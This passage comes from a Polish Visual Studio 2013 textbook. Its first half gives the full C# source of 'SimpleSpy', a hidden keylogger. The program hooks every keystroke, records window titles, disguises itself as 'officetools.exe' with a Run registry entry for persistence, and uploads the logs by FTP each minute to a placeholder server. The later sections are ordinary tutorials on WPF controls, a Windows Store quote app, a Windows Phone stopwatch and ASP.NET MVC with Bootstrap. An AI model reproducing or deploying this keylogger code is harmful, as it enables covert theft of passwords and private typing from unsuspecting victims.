case Keys.RMenu: Log += Colorize("[RAlt]", 1);
break;
case Keys.LMenu: Log += Colorize("[LAlt]", 1);
break;
case Keys.CapsLock: Log += Colorize("[CapsLock]", 1);
break;
case Keys.Escape: Log += Colorize("[Escape]", 1);
break;
case Keys.Space: Log += "&nbsp;";
break;
case Keys.Delete: Log += Colorize("[Delete]", 1);
break;
case Keys.D0:
if (shift == 0)
Log += Colorize("0", 2);
else
Log += Colorize(")", 3);
break;
case Keys.D1:
if (shift == 0)
Log += Colorize("1", 2);
else
Log += Colorize("!", 3);
break;
case Keys.D2:
if (shift == 0)
Log += Colorize("2", 2);
else
Log += Colorize("@", 3);
break;
case Keys.D3:
if (shift == 0)
Log += Colorize("3", 2);
else
Log += Colorize("#", 3);
break;
case Keys.D4:
if (shift == 0)
Log += Colorize("4", 2);
else
Log += Colorize("$", 3);
break;
case Keys.D5:
if (shift == 0)
Log += Colorize("5", 2);
else
Log += Colorize("%", 3);
break;
case Keys.D6:
if (shift == 0)
Log += Colorize("6", 2);
else
Log += Colorize("^", 3);
break;
116 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

case Keys.D7:
if (shift == 0)
Log += Colorize("7", 2);
else
Log += Colorize("&amp;", 3);
break;
case Keys.D8:
if (shift == 0)
Log += Colorize("8", 2);
else
Log += Colorize("*", 3);
break;
case Keys.D9:
if (shift == 0)
Log += Colorize("9", 2);
else
Log += Colorize("(", 3);
break;
case Keys.A:
if (shift == 0)
Log += Colorize("a", 4);
else
Log += Colorize("A", 4);
break;
case Keys.B:
if (shift == 0)
Log += Colorize("b", 4);
else
Log += Colorize("B", 4);
break;
case Keys.C:
if (shift == 0)
Log += Colorize("c", 4);
else
Log += Colorize("C", 4);
break;
case Keys.D:
if (shift == 0)
Log += Colorize("d", 4);
else
Log += Colorize("D", 4);
break;
case Keys.E:
if (shift == 0)
Log += Colorize("e", 4);
else
Log += Colorize("E", 4);
break;
case Keys.F:
if (shift == 0)
Log += Colorize("f", 4);
else
Log += Colorize("F", 4);
break;
case Keys.G:
if (shift == 0)
Log += Colorize("g", 4);
Rozdział 2.  Aplikacje dla Pulpitu 117

else
Log += Colorize("G", 4);
break;
case Keys.H:
if (shift == 0)
Log += Colorize("h", 4);
else
Log += Colorize("H", 4);
break;
case Keys.I:
if (shift == 0)
Log += Colorize("i", 4);
else
Log += Colorize("I", 4);
break;
case Keys.J:
if (shift == 0)
Log += Colorize("j", 4);
else
Log += Colorize("J", 4);
break;
case Keys.K:
if (shift == 0)
Log += Colorize("k", 4);
else
Log += Colorize("K", 4);
break;
case Keys.L:
if (shift == 0)
Log += Colorize("l", 4);
else
Log += Colorize("L", 4);
break;
case Keys.M:
if (shift == 0)
Log += Colorize("m", 4);
else
Log += Colorize("M", 4);
break;
case Keys.N:
if (shift == 0)
Log += Colorize("n", 4);
else
Log += Colorize("N", 4);
break;
case Keys.O:
if (shift == 0)
Log += Colorize("o", 4);
else
Log += Colorize("O", 4);
break;
case Keys.P:
if (shift == 0)
Log += Colorize("p", 4);
else
Log += Colorize("P", 4);
break;
case Keys.Q:
118 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

if (shift == 0)
Log += Colorize("q", 4);
else
Log += Colorize("Q", 4);
break;
case Keys.R:
if (shift == 0)
Log += Colorize("r", 4);
else
Log += Colorize("R", 4);
break;
case Keys.S:
if (shift == 0)
Log += Colorize("s", 4);
else
Log += Colorize("S", 4);
break;
case Keys.T:
if (shift == 0)
Log += Colorize("t", 4);
else
Log += Colorize("T", 4);
break;
case Keys.U:
if (shift == 0)
Log += Colorize("u", 4);
else
Log += Colorize("U", 4);
break;
case Keys.V:
if (shift == 0)
Log += Colorize("v", 4);
else
Log += Colorize("V", 4);
break;
case Keys.W:
if (shift == 0)
Log += Colorize("w", 4);
else
Log += Colorize("W", 4);
break;
case Keys.X:
if (shift == 0)
Log += Colorize("x", 4);
else
Log += Colorize("X", 4);
break;
case Keys.Y:
if (shift == 0)
Log += Colorize("y", 4);
else
Log += Colorize("Y", 4);
break;
case Keys.Z:
if (shift == 0)
Log += Colorize("z", 4);
else
Log += Colorize("Z", 4);
Rozdział 2.  Aplikacje dla Pulpitu 119

break;
case Keys.Oemtilde:
if (shift == 0)
Log += Colorize("`", 3);
else
Log += Colorize("~", 3);
break;
case Keys.OemMinus:
if (shift == 0)
Log += Colorize("-", 3);
else
Log += Colorize("_", 3);
break;
case (Keys)187:
if (shift == 0)
Log += Colorize("=", 3);
else
Log += Colorize("+", 3);
break;
case Keys.OemOpenBrackets:
if (shift == 0)
Log += Colorize("[", 3);
else
Log += Colorize("{", 3);
break;
case Keys.Oem6:
if (shift == 0)
Log += Colorize("]", 3);
else
Log += Colorize("}", 3);
break;
case Keys.Oem5:
if (shift == 0)
Log += Colorize("\\", 3);
else
Log += Colorize("|", 3);
break;
case Keys.Oem1:
if (shift == 0)
Log += Colorize(";", 3);
else
Log += Colorize(":", 3);
break;
case Keys.Oem7:
if (shift == 0)
Log += Colorize("'", 3);
else
Log += Colorize("\"", 3);
break;
case Keys.Oemcomma:
if (shift == 0)
Log += Colorize(",", 3);
else
Log += Colorize("&lt;", 3);
break;
case Keys.OemPeriod:
if (shift == 0)
Log += Colorize(".", 3);
120 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

else
Log += Colorize("&gt;", 3);
break;
case Keys.OemQuestion:
if (shift == 0)
Log += Colorize("/", 3);
else
Log += Colorize("?", 3);
break;
}
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}

Pełny kod źródłowy pliku Form1.cs, czyli głównego modułu aplikacji, prezentuje się
następująco:
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Timers;
using System.Windows.Forms;

namespace SimpleSpy
{
public partial class Form1 : Form
{
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc
callback, IntPtr hInstance, uint threadId);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam,
ref keyboardHookStruct lParam);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString,
int nMaxCount);

public delegate int keyboardHookProc(int code, int wParam, ref


keyboardHookStruct lParam);

private keyboardHookProc hookProcDelegate;

public struct keyboardHookStruct


Rozdział 2.  Aplikacje dla Pulpitu 121

{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
static IntPtr hhook = IntPtr.Zero;
static IntPtr hCurrentWindow = IntPtr.Zero;
static string Log = String.Empty;
static string windowTitle = String.Empty;
static byte shift = 0;

//KONFIGURACJA
static int ti = 1; //Co ile minut wysyłać log
static string FTPServer = "ftp://mykeylogger.domain/public_html/panel/";
static string FTPUserName = "username";
static string FTPPassword = "password";

public Form1()
{
InitializeComponent();
}

private void Form1_Shown(object sender, EventArgs e)


{
this.Hide();
}

private bool IsStartupItem()


{
//The path to the key where Windows looks for startup applications
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\
Microsoft\\Windows\\CurrentVersion\\Run", true);

if (rkApp.GetValue("Office Tools") == null)


//The value doesn't exist, the application is not set to run at startup
return false;
else
//The value exists, the application is set to run at startup
return true;
}

private void Form1_Load(object sender, EventArgs e)


{
string tempPath = Path.GetTempPath();

//The path to the key where Windows looks for startup applications
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\
Microsoft\\Windows\\CurrentVersion\\Run", true);

if (!IsStartupItem())
{
122 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

string destFilePath = Path.Combine(Environment.GetFolder


Path(Environment.SpecialFolder.ApplicationData), "officetools.exe");

File.Copy(Application.ExecutablePath.ToString(), destFilePath);

//Add the value in the registry so that the application runs at startup
rkApp.SetValue("Office Tools", destFilePath);
}

hookProcDelegate = hookProc;
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
System.Timers.Timer myTimer = new System.Timers.Timer();
myTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
myTimer.Interval = ti * 60 * 1000;
myTimer.Enabled = true;
}

private static string Colorize(string inputstr, int keytype)


{
switch (keytype)
{
case 1: return ("<i>" + inputstr + "</i>"); //function keys
case 2: return ("<span style=\"color: #808080;\">" + inputstr +
"</span>"); //numbers
case 3: return ("<span style=\"color: #000080;\">" + inputstr +
"</span>"); //punctuation
case 4: return ("<span style=\"color: #008000;\">" + inputstr +
"</span>"); //letters
default: return inputstr;
}

}
private static void OnTimedEvent(object source, ElapsedEventArgs e)
{
if (Log.Length < 8)
return;

string logFinal = String.Empty;


logFinal = "<html><head><meta http-equiv=\"Content-Type\"
content=\"text/html; charset=utf-8\"></head><body>";
logFinal += Log;
logFinal += "</body></html>";

string tempPath = Path.GetTempPath();

string logFileName = Environment.MachineName + "-" +


Environment.UserName + "-" + DateTime.Now.ToString(
"HH-mm-ss_d-M-yyyy") + ".html";

string fullPath = tempPath + logFileName;

using (StreamWriter outfile = new StreamWriter(fullPath))


{
outfile.Write(logFinal);
}

try
Rozdział 2.  Aplikacje dla Pulpitu 123

{
//WYSYŁANIE NA FTP
FtpWebRequest ftp = (FtpWebRequest)WebRequest.Create(FTPServer +
"/" + logFileName);
ftp.Credentials = new NetworkCredential(FTPUserName, FTPPassword);
ftp.KeepAlive = true;
ftp.UseBinary = true;
ftp.UsePassive = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(fullPath); //ścieżka lokalna
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
catch(Exception)
{

//WYSYŁANIE NA FTP KONIEC

File.Delete(fullPath);

Log = String.Empty;
logFinal = String.Empty;
}
public static int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
KeyEventArgs kea = new KeyEventArgs(key);
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
{
if (hCurrentWindow != GetForegroundWindow())
{
StringBuilder sb = new StringBuilder(256);
hCurrentWindow = GetForegroundWindow();
GetWindowText(hCurrentWindow, sb, sb.Capacity);
Log += "<br /><strong>[" + sb.ToString() + "]</strong><br />";
}
if (Keys.Shift == Control.ModifierKeys) shift = 1;
else shift = 0;
switch (kea.KeyCode)
{
case Keys.Back: Log += Colorize("[Backspace]", 1);
break;
case Keys.Tab: Log += Colorize("[Tab]", 1);
break;
case Keys.LineFeed: Log += Colorize("[LineFeed]", 1);
break;
case Keys.Clear: Log += Colorize("[Clear]", 1);
break;
case Keys.Return: Log += Colorize("[Enter]<br />", 1);
break;
124 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

case Keys.RMenu: Log += Colorize("[RAlt]", 1);


break;
case Keys.LMenu: Log += Colorize("[LAlt]", 1);
break;
case Keys.CapsLock: Log += Colorize("[CapsLock]", 1);
break;
case Keys.Escape: Log += Colorize("[Escape]", 1);
break;
case Keys.Space: Log += "&nbsp;";
break;
case Keys.Delete: Log += Colorize("[Delete]", 1);
break;
case Keys.D0:
if (shift == 0)
Log += Colorize("0", 2);
else
Log += Colorize(")", 3);
break;
case Keys.D1:
if (shift == 0)
Log += Colorize("1", 2);
else
Log += Colorize("!", 3);
break;
case Keys.D2:
if (shift == 0)
Log += Colorize("2", 2);
else
Log += Colorize("@", 3);
break;
case Keys.D3:
if (shift == 0)
Log += Colorize("3", 2);
else
Log += Colorize("#", 3);
break;
case Keys.D4:
if (shift == 0)
Log += Colorize("4", 2);
else
Log += Colorize("$", 3);
break;
case Keys.D5:
if (shift == 0)
Log += Colorize("5", 2);
else
Log += Colorize("%", 3);
break;
case Keys.D6:
if (shift == 0)
Log += Colorize("6", 2);
else
Log += Colorize("^", 3);
break;
case Keys.D7:
if (shift == 0)
Log += Colorize("7", 2);
Rozdział 2.  Aplikacje dla Pulpitu 125

else
Log += Colorize("&amp;", 3);
break;
case Keys.D8:
if (shift == 0)
Log += Colorize("8", 2);
else
Log += Colorize("*", 3);
break;
case Keys.D9:
if (shift == 0)
Log += Colorize("9", 2);
else
Log += Colorize("(", 3);
break;
case Keys.A:
if (shift == 0)
Log += Colorize("a", 4);
else
Log += Colorize("A", 4);
break;
case Keys.B:
if (shift == 0)
Log += Colorize("b", 4);
else
Log += Colorize("B", 4);
break;
case Keys.C:
if (shift == 0)
Log += Colorize("c", 4);
else
Log += Colorize("C", 4);
break;
case Keys.D:
if (shift == 0)
Log += Colorize("d", 4);
else
Log += Colorize("D", 4);
break;
case Keys.E:
if (shift == 0)
Log += Colorize("e", 4);
else
Log += Colorize("E", 4);
break;
case Keys.F:
if (shift == 0)
Log += Colorize("f", 4);
else
Log += Colorize("F", 4);
break;
case Keys.G:
if (shift == 0)
Log += Colorize("g", 4);
else
Log += Colorize("G", 4);
break;
case Keys.H:
126 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

if (shift == 0)
Log += Colorize("h", 4);
else
Log += Colorize("H", 4);
break;
case Keys.I:
if (shift == 0)
Log += Colorize("i", 4);
else
Log += Colorize("I", 4);
break;
case Keys.J:
if (shift == 0)
Log += Colorize("j", 4);
else
Log += Colorize("J", 4);
break;
case Keys.K:
if (shift == 0)
Log += Colorize("k", 4);
else
Log += Colorize("K", 4);
break;
case Keys.L:
if (shift == 0)
Log += Colorize("l", 4);
else
Log += Colorize("L", 4);
break;
case Keys.M:
if (shift == 0)
Log += Colorize("m", 4);
else
Log += Colorize("M", 4);
break;
case Keys.N:
if (shift == 0)
Log += Colorize("n", 4);
else
Log += Colorize("N", 4);
break;
case Keys.O:
if (shift == 0)
Log += Colorize("o", 4);
else
Log += Colorize("O", 4);
break;
case Keys.P:
if (shift == 0)
Log += Colorize("p", 4);
else
Log += Colorize("P", 4);
break;
case Keys.Q:
if (shift == 0)
Log += Colorize("q", 4);
else
Log += Colorize("Q", 4);
Rozdział 2.  Aplikacje dla Pulpitu 127

break;
case Keys.R:
if (shift == 0)
Log += Colorize("r", 4);
else
Log += Colorize("R", 4);
break;
case Keys.S:
if (shift == 0)
Log += Colorize("s", 4);
else
Log += Colorize("S", 4);
break;
case Keys.T:
if (shift == 0)
Log += Colorize("t", 4);
else
Log += Colorize("T", 4);
break;
case Keys.U:
if (shift == 0)
Log += Colorize("u", 4);
else
Log += Colorize("U", 4);
break;
case Keys.V:
if (shift == 0)
Log += Colorize("v", 4);
else
Log += Colorize("V", 4);
break;
case Keys.W:
if (shift == 0)
Log += Colorize("w", 4);
else
Log += Colorize("W", 4);
break;
case Keys.X:
if (shift == 0)
Log += Colorize("x", 4);
else
Log += Colorize("X", 4);
break;
case Keys.Y:
if (shift == 0)
Log += Colorize("y", 4);
else
Log += Colorize("Y", 4);
break;
case Keys.Z:
if (shift == 0)
Log += Colorize("z", 4);
else
Log += Colorize("Z", 4);
break;
case Keys.Oemtilde:
if (shift == 0)
Log += Colorize("`", 3);
128 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

else
Log += Colorize("~", 3);
break;
case Keys.OemMinus:
if (shift == 0)
Log += Colorize("-", 3);
else
Log += Colorize("_", 3);
break;
case (Keys)187:
if (shift == 0)
Log += Colorize("=", 3);
else
Log += Colorize("+", 3);
break;
case Keys.OemOpenBrackets:
if (shift == 0)
Log += Colorize("[", 3);
else
Log += Colorize("{", 3);
break;
case Keys.Oem6:
if (shift == 0)
Log += Colorize("]", 3);
else
Log += Colorize("}", 3);
break;
case Keys.Oem5:
if (shift == 0)
Log += Colorize("\\", 3);
else
Log += Colorize("|", 3);
break;
case Keys.Oem1:
if (shift == 0)
Log += Colorize(";", 3);
else
Log += Colorize(":", 3);
break;
case Keys.Oem7:
if (shift == 0)
Log += Colorize("'", 3);
else
Log += Colorize("\"", 3);
break;
case Keys.Oemcomma:
if (shift == 0)
Log += Colorize(",", 3);
else
Log += Colorize("&lt;", 3);
break;
case Keys.OemPeriod:
if (shift == 0)
Log += Colorize(".", 3);
else
Log += Colorize("&gt;", 3);
break;
case Keys.OemQuestion:
if (shift == 0)
Rozdział 2.  Aplikacje dla Pulpitu 129

Log += Colorize("/", 3);


else
Log += Colorize("?", 3);
break;
}
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}

}
}

2.3. Windows Presentation Foundation


2.3.1. Język XAML
Język ten służy do opisu interfejsu użytkownika; wykorzystywany jest między in-
nymi w technologii Windows Presentation Foundation. Technologia opisywana w tym
rozdziale jest częścią frameworka .NET od wersji 3.0.

W języku XAML tworzenie przycisku może przebiegać następująco:


<Button Background="Blue" Content="Hello World" Click="Button_Click"/>

2.3.2. Przegląd kontrolek


Teraz zostaną opisane wybrane kontrolki dostępne w technologii WPF.

Button

Kontrolka przycisku. Standardowy przycisk wykonujący określoną akcję po kliknięciu.

Calendar
130 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Kontrolka kalendarza.

CheckBox

Pole wielokrotnego wyboru.

ComboBox

Lista rozwijana.

DatePicker

Kontrolka pozwalająca wybrać datę.

GroupBox

Kontrolka ta służy do grupowania innych kontrolek.

Image
Kontrolka pozwalająca wyświetlić obrazek.
Rozdział 2.  Aplikacje dla Pulpitu 131

Label
Etykieta tekstowa.

ListBox

Kontrolka listy.

ListView

Kontrolka widoku listy. Przydatna przy wszelkich danych raportowych.

PasswordBox

Kontrolka do wprowadzania hasła.

ProgressBar

Kontrolka paska postępu.

RadioButton

Kontrolka pola jednokrotnego wyboru.

RichTextBox
132 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Kontrolka pola tekstowego o bogatym formatowaniu.

ScrollViewer
Kontrolka, której obszar można przewijać.

Slider

Kontrolka suwaka. Pozwala wybrać wartość z określonego zakresu.

TextBlock
Blok tekstu.

TextBox

Kontrolka pola tekstowego.

TreeView

Kontrolka widoku drzewa.

WebBrowser

Kontrolka przeglądarki internetowej. Pozwala wyświetlić stronę internetową.


Rozdział 3.
Aplikacje
dla Sklepu Windows

3.1. Przykładowa aplikacja:


Cytat na dziś
W tym rozdziale przedstawię, jak stworzyć przykładową aplikację, która losuje cytat
na dany dzień i go wyświetla.

Uruchom Visual Studio 2013 for Windows. Utwórz nowy projekt. Jako typ wybierz Store
Apps > Windows Apps. Jako szablon wybierz Blank App (rysunek 3.1).

Rysunek 3.1. Tworzenie nowego projektu


134 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Otwórz główną stronę aplikacji (MainPage.xaml), klikając ją podwójnie lewym kla-


wiszem myszy w oknie Solution Explorer (rysunek 3.2).

Rysunek 3.2.
Główna strona aplikacji

Teraz z okna Toolbox przeciągnij na stronę aplikacji kontrolkę TextBlock. W oknie


Properties ustaw większą czcionkę (72) i wyrównanie do środka (rysunek 3.3).

Rysunek 3.3.
Projekt strony aplikacji
z kontrolką TextBlock

Pod kontrolką TextBlock ustaw kontrolkę Button. Zmień jej właściwość Content
w oknie Properties na „Losuj cytat” (rysunek 3.4).

Zmień jeszcze nazwę kontrolki TextBlock na txtQuote (rysunek 3.5).

Teraz w oknie projektowania kliknij podwójnie przycisk „Losuj cytat”, aby wygene-
rować zdarzenie kliknięcia przycisku.
Rozdział 3.  Aplikacje dla Sklepu Windows 135

Rysunek 3.4.
Prototyp aplikacji
z polem tekstowym
przeznaczonym na cytat
i przyciskiem losującym

Rysunek 3.5.
Ustawianie nazwy
kontrolki

Zdarzenie to powinno mieć kod jak na listingu 3.1.

Listing 3.1. Kod losujący cytat


private void Button_Click(object sender, RoutedEventArgs e)
{
List<String> quotes = new List<string>()
{
"Być mądrym a być magistrem to dwie różne rzeczy.",
"Nie o taką Polskę walczyłem.",
"Praca to nudny sposób na spędzanie wolnego czasu.",
"Ja w tej chwili wychodzę i ja nie wiem, kiedy wrócę."
//tutaj możesz dodawać swoje cytaty
};

Random r = new Random();

txtQuote.Text = quotes[r.Next(0, quotes.Count)];


}

W ten oto prosty sposób stworzyłeś aplikację dla Windows 8 i Windows 8.1. Możesz
ją dowolnie przerabiać i ulepszać, np. dodać losowanie przy starcie aplikacji (żeby nie
musieć klikać przycisku), no i oczywiście dodać więcej cytatów.

Działanie aplikacji na emulatorze prezentuje rysunek 3.6.


136 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rysunek 3.6.
Działanie aplikacji
Cytat na dziś
Rozdział 4.
Aplikacje
dla Windows Phone
Aplikacje dla telefonów z Windows Phone mają trzy rodzaje głównych kontrolek, na
których zbudowana jest aplikacja. Może to być aplikacja składająca się z jednej strony
lub z kontrolki Hub, Pivot albo Panorama.

4.1. Kontrolka Hub


Kontrolka ta jest dostępna dla Windows Phone 8.1. Nie korzysta ona z Silverlighta.
Pozwala stworzyć aplikację z kilkoma sekcjami. Po dotknięciu określonego elementu
możliwe jest wyświetlenie szczegółów tego elementu. Przykładowy szablon aplikacji
z tą kontrolką prezentuje rysunek 4.1.

Rysunek 4.1.
Aplikacja Windows
Phone z kontrolką Hub
138 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

4.2. Kontrolka Pivot


Kontrolka Pivot pozwala na utworzenie wielu stron aplikacji. Użytkownik, aby przejść
do innej strony, może przesunąć po ekranie dłonią w prawo lub w lewo. Może też
dotknąć nagłówka danej strony, aby się do niej przenieść. Kontrolkę Pivot prezentuje
rysunek 4.2.

Rysunek 4.2.
Kontrolka Pivot

4.3. Kontrolka Panorama


Kontrolka Panorama pozwala utworzyć aplikację z wieloma podprogramami. Na gó-
rze można umieścić tytuł aplikacji. Zawartość jest podzielona na sekcje, które mogą
zawierać różne elementy. Kontrolkę Panorama przedstawia rysunek 4.3.

Rysunek 4.3.
Kontrolka Panorama
Rozdział 4.  Aplikacje dla Windows Phone 139

4.4. Przykład: Stoper


Uruchom Microsoft Visual Studio Express 2013 dla Windows. Stwórz nowy projekt,
wybierając w górnego menu FILE > New Project.... Jako szablon wybierz Blank App
(Windows Phone Silverlight). W oknie Solution Explorer kliknij dwa razy lewym
klawiszem myszy MainPage.xaml. Teraz w widoku języka XAML zamień kod:
SupportedOrientations="Portrait" Orientation="Portrait"

na następujący:
SupportedOrientations="Landscape" Orientation="Landscape"

W ten sposób zmieniliśmy orientację strony aplikacji z pionowej na poziomą.

Teraz w widoku projektowania interfejsu ułóż kontrolki podobnie jak na rysunku 4.4.

Rysunek 4.4.
Projekt interfejsu
programu Stoper

Gdy zaznaczysz kontrolkę kliknięciem, to możesz w oknie dokowanym Properties


ustawić jej właściwości. Content to zawartość kontrolki (np. tekst). Możesz ustawić
rozmiar czcionki, kolor czcionki, kolor obramowania, grubość obramowania i wiele
innych. Poświęć trochę czasu i zapoznaj się z tym. Gdy zaznaczysz kontrolkę, w oknie
Properties pojawi się właściwość Name, czyli nazwa. Kontrolka tekstowa do wy-
świetlania czasu może mieć nazwę np. txtTime, a przyciski, kolejno: btnStart, btnStop
i btnReset. Kliknij teraz podwójnie lewym klawiszem myszy przycisk Start, aby utwo-
rzyć zdarzenie kliknięcia.

W widoku kodu dodaj na górze: using System.Windows.Threading;. Natomiast powyżej


zdarzenia ... _Click dodaj kod jak na listingu 4.1.

Listing 4.1. Obsługa licznika DispatcherTimer


DispatcherTimer timer1 = new DispatcherTimer();
int hundrethOfASecond = 0;
int second = 0;

private void dispatcherTimer_Tick(object sender, EventArgs e)


140 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

{
hundrethOfASecond++;
if(hundrethOfASecond >= 99)
{
second++;
hundrethOfASecond = 0;
}
txtTime.Text = second.ToString("D2") + ":" + hundrethOfASecond.ToString("D2");
}

Teraz wystarczy, że w zdarzeniu kliknięcia przycisku Start dodasz kod jak na listingu 4.2.

Listing 4.2. Kod zdarzenia kliknięcia przycisku Start


timer1.Tick += new EventHandler(dispatcherTimer_Tick);
timer1.Start();

Pozostało jeszcze utworzyć zdarzenia przycisków Stop i Reset. W oknie projektowa-


nia interfejsu kliknij podwójnie dany przycisk, aby utworzyć zdarzenie. Do zdarzenia
przycisku Stop dodaj kod timer1.Stop();, a do przycisku Reset dodaj kod jak na li-
stingu 4.3.

Listing 4.3. Kod zdarzenia kliknięcia przycisku Reset


second = 0;
hundrethOfASecond = 0;
txtTime.Text = "00:00";

Cały kod aplikacji przedstawia listing 4.4.

Listing 4.4. Kod aplikacji Stoper


DispatcherTimer timer1 = new DispatcherTimer();
int hundrethOfASecond = 0;
int second = 0;

private void dispatcherTimer_Tick(object sender, EventArgs e)


{
hundrethOfASecond++;
if(hundrethOfASecond >= 99)
{
second++;
hundrethOfASecond = 0;
}
txtTime.Text = second.ToString("D2") + ":" + hundrethOfASecond.ToString("D2");
}

private void btnStart_Click(object sender, RoutedEventArgs e)


{
timer1.Tick += new EventHandler(dispatcherTimer_Tick);
timer1.Start();
}

private void btnStop_Click(object sender, RoutedEventArgs e)


Rozdział 4.  Aplikacje dla Windows Phone 141

{
timer1.Stop();
}

private void btnReset_Click(object sender, RoutedEventArgs e)


{
second = 0;
hundrethOfASecond = 0;
txtTime.Text = "00:00";
}

Aby uruchomić aplikację w emulatorze Windows Phone, wciśnij klawisz F5.

Działanie aplikacji prezentuje rysunek 4.5.

Rysunek 4.5.
Działanie aplikacji
Stoper w emulatorze
142 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rozdział 5.
Aplikacje internetowe
ASP.NET MVC
Uruchom Visual Studio 2013 Express for Web i utwórz nowy projekt, wybierając FILE
> New Project. Wybierz ASP.NET MVC 4 Web Application (rysunek 5.1).

Rysunek 5.1. Tworzenie nowego projektu.

W następnym oknie wybierz rodzaj szablonu Basic oraz View Engine zaznacz jako Razor.

Na początek dodaj główny kontroler. Skrót MVC oznacza Model View Controller.
Kontroler przetwarza dane z modelu i wyświetlane są one w widoku. Cała logika
aplikacji powinna być w akcjach kontrolerów. Nowy kontroler dodaj, klikając raz pra-
wym klawiszem myszy pozycję Controllers w oknie Solution Explorer i wybierając Add
> Controller (rysunek 5.2).
144 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rysunek 5.2. Dodawanie nowego kontrolera

Teraz w oknie Add Controller, w polu Controller Name wpisz PageController. W Tem-
plate wybierz Empty MVC Controller. Po dodaniu nowego kontrolera powinien się
otworzyć kod źródłowy tego kontrolera. Każdy kontroler zawiera metody nazywane ak-
cjami. Do danej akcji można przypisać widok (ang. view). Kliknij prawym klawiszem
myszy nazwę akcji Index i wybierz Add View (rysunek 5.3).

Rysunek 5.3.
Dodawanie widoku
do kontrolera

Po dodaniu widoku utworzony został plik Index.cshtml. Plik ten po dodaniu powinien
Ci się automatycznie otworzyć w środowisku. Widoki zawierają kod w składni Razor.
W uproszczeniu jest to pomieszany kod języka C# i języka HTML. Jeśli chcesz mię-
dzy fragmenty HTML dodać jakiś kod w C#, musisz go zawrzeć pomiędzy klamrami,
a przed klamrami dać znak małpy, np.
<!-- poniższy kod wyświetli aktualną datę i czas -->
@{ var today = DateTime.Now.ToString(); }
Teraz jest @today

Zatem w plikach widoków zawierasz nie cały kod strony, tylko ciało. Nie musisz za
każdym razem powielać baneru, menu i stopki strony, lecz tylko samą zawartość, czyli
treści podstron.

Żeby strona w ogóle się uruchomiła, trzeba wykonać jeszcze jedną rzecz. Kontroler został
nazwany PageController, a domyślna nazwa dla głównego kontrolera to HomeCon-
troller. W oknie Solution Explorer wejdź do elementu App_Start > RouteConfig.cs
Rozdział 5.  Aplikacje internetowe ASP.NET MVC 145

i zmień tam controller = "Home" na controller = "Page". Teraz wybierając w górnym


menu DEBUG > Start Debugging lub wciskając F5, możesz uruchomić stronę.

Szablon strony można edytować, otwierając plik Views > Shared > _Layout.cshtml.
Należy pamiętać, że tam gdzie chcemy wyświetlać zawartość podstron, należy wsta-
wić polecenie @RenderBody().

Do wyglądu strony (tzw. front end) można użyć frameworka Bootstrap. Trzeba wtedy
zainstalować paczkę NuGet (rysunek 5.4).

Rysunek 5.4.
Instalacja paczek NuGet
w projekcie. Następnie
w wyszukiwarce należy
wpisać „bootstrap”.
Najlepiej wybrać tę
paczkę, która ma
najwięcej pobrań
(rysunek 5.5).

Rysunek 5.5. Paczka z frameworkiem Bootstrap

Do rozpoczęcia nauki Bootstrap polecam stronę http://getbootstrap.com/. Pod adre-


sem http://getbootstrap.com/getting-started/#examples znajdują się gotowe przykłady
szablonów. Po prostu wystarczy otworzyć szablon i skopiować jego kod HTML, a na-
stępnie dostosować do swoich potrzeb.

5.1. Przegląd frameworka Bootstrap


5.1.1. Podstawowy szablon
<!DOCTYPE html>
<html lang="en">
<head>
146 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Bootstrap 101 Template</title>

<!-- Bootstrap -->


<link href="css/bootstrap.min.css" rel="stylesheet">

